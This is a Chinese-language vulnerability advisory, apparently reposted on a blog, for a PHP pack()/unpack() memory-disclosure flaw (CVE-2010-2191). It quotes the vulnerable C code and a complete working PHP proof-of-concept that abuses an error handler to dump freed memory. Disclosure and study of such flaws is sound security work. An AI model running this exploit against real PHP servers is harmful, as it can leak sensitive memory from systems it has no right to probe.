• [PHP] unpack()函数中断处理信息泄露漏洞


    来源:http://www.linuxidc.com/Linux/2010-06/26940.htm

    受影响系统:
    PHP PHP <= 5.3.2
    PHP PHP <= 5.2.13
    描述:
    --------------------------------------------------------------------------------
    CVE ID: CVE-2010-2191

    PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

    PHP的pack()函数中存在信息泄露漏洞:

    PHP_FUNCTION(unpack)
    {
        char *format, *input, *formatarg, *inputarg;
        int formatlen, formatarg_len, inputarg_len;
        int inputpos, inputlen, i;

        if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss", &formatarg, &formatarg_len,
            &inputarg, &inputarg_len) == FAILURE) {
            return;
        }

        format = formatarg;
        formatlen = formatarg_len;
        input = inputarg;

    函数开始时读取了用户所提供的参数并在解析前确保格式串为确实的字符串。由于call time pass by reference功能,函数中间的中断可能允许更改当前所工作的参数,其中一种可能的攻击为H格式串标识符:

    case 'h': 
    case 'H': {
        int nibbleshift = (code == 'h') ? 0 : 4;
        int first = 1;
        char *v;

        val = argv[currentarg++];
        convert_to_string_ex(val);
        v = Z_STRVAL_PP(val);
        outputpos--;
        if(arg > Z_STRLEN_PP(val)) {
            php_error_docref(NULL TSRMLS_CC, E_WARNING, "Type %c: not enough characters in string", code);
            arg = Z_STRLEN_PP(val);
        }

    这里将字符串指针拷贝到了v变量然后验证字符串的长度。之后错误处理器可以向字符串变量中添加更多的字符以导致重新分配字符串缓冲区。由于使用了之前所储存的v,会泄露已释放的内存。

    <*来源:Stefan Esser (s.esser@ematters.de
      
      链接:http://www.php-security.org/2010/05/31/mops-2010-052-php-pack-interruption-information-leak-vulnerability/index.html
    *>

    测试方法:
    --------------------------------------------------------------------------------

    警 告

    以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

    <?php
    $first = true;

    function my_error($a,$x)
    {
    global $first;
    if ($first) {
    var_dump($x);
    $GLOBALS['var'].=str_repeat("A",2000);
    }
    $first = false;
    return 1;
    }

    /* Detect 32 vs 64 bit */
    $i = 0x7fffffff;
    $i++;
    if (is_float($i)) {
    $l = 39;
    }
    else {
    $l = 67;
    }
    $GLOBALS['var'] = base64_decode(str_repeat("-", 1000).base64_encode("AAAAAAAAAAAAAAAA"));
    /* Trigger the Code */
    set_error_handler("my_error");
    $x = pack("h20", &$GLOBALS['var']);
    restore_error_handler();
    hexdump(
    $x);

    /* Helper function */
    function hexdump($x)
    {
    $l = strlen($x);
    $p = 0;

    echo "Hexdump\n";
    echo "-------\n";

    while ($l > 16) {
    echo sprintf("%08x: ",$p);
    for ($i=0; $i<16; $i++) {
    echo sprintf("%02X ", ord($x[$p+$i]));
    }
    echo " ";
    for ($i=0; $i<16; $i++) {
    $c = ord($x[$p+$i]);
    echo ($c < 32 || $c > 127) ? '.' : chr($c);
    }
    $l-=16;
    $p+=16;
    echo "\n";
    }
    if ($l > 0)
    echo sprintf("%08x: ",$p);
    for ($i=0; $i<$l; $i++) {
    echo sprintf("%02X ", ord($x[$p+$i]));
    }
    for ($i=0; $i<16-$l; $i++) { echo "-- "; }

    echo " ";
    for ($i=0; $i<$l; $i++) {
    $c = ord($x[$p+$i]);
    echo ($c < 32 || $c > 127) ? '.' : chr($c);
    }
    echo "\n";
    }
    ?>

    建议:
    --------------------------------------------------------------------------------
    厂商补丁:

    PHP
    ---
    目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

    http://www.php.net

  • 相关阅读:
    Arrays类和Timer类(定时调度)
    Centos6.3下Ganglia3.6.0安装配置
    【编程之美挑战赛第一场】树
    ORACLE物化视图具体解释
    让算法会说话之冒泡排序
    VS2008帮助"更新正在进行中"解决办法
    #问题
    sql server 2008 评估期已过期解决办法
    eclipse定义枚举类型错误
    C# 生产者和消费者问题使用Monitor同步
  • 原文地址:https://www.cnblogs.com/hcbin/p/2052613.html
Copyright © 2020-2023  润新知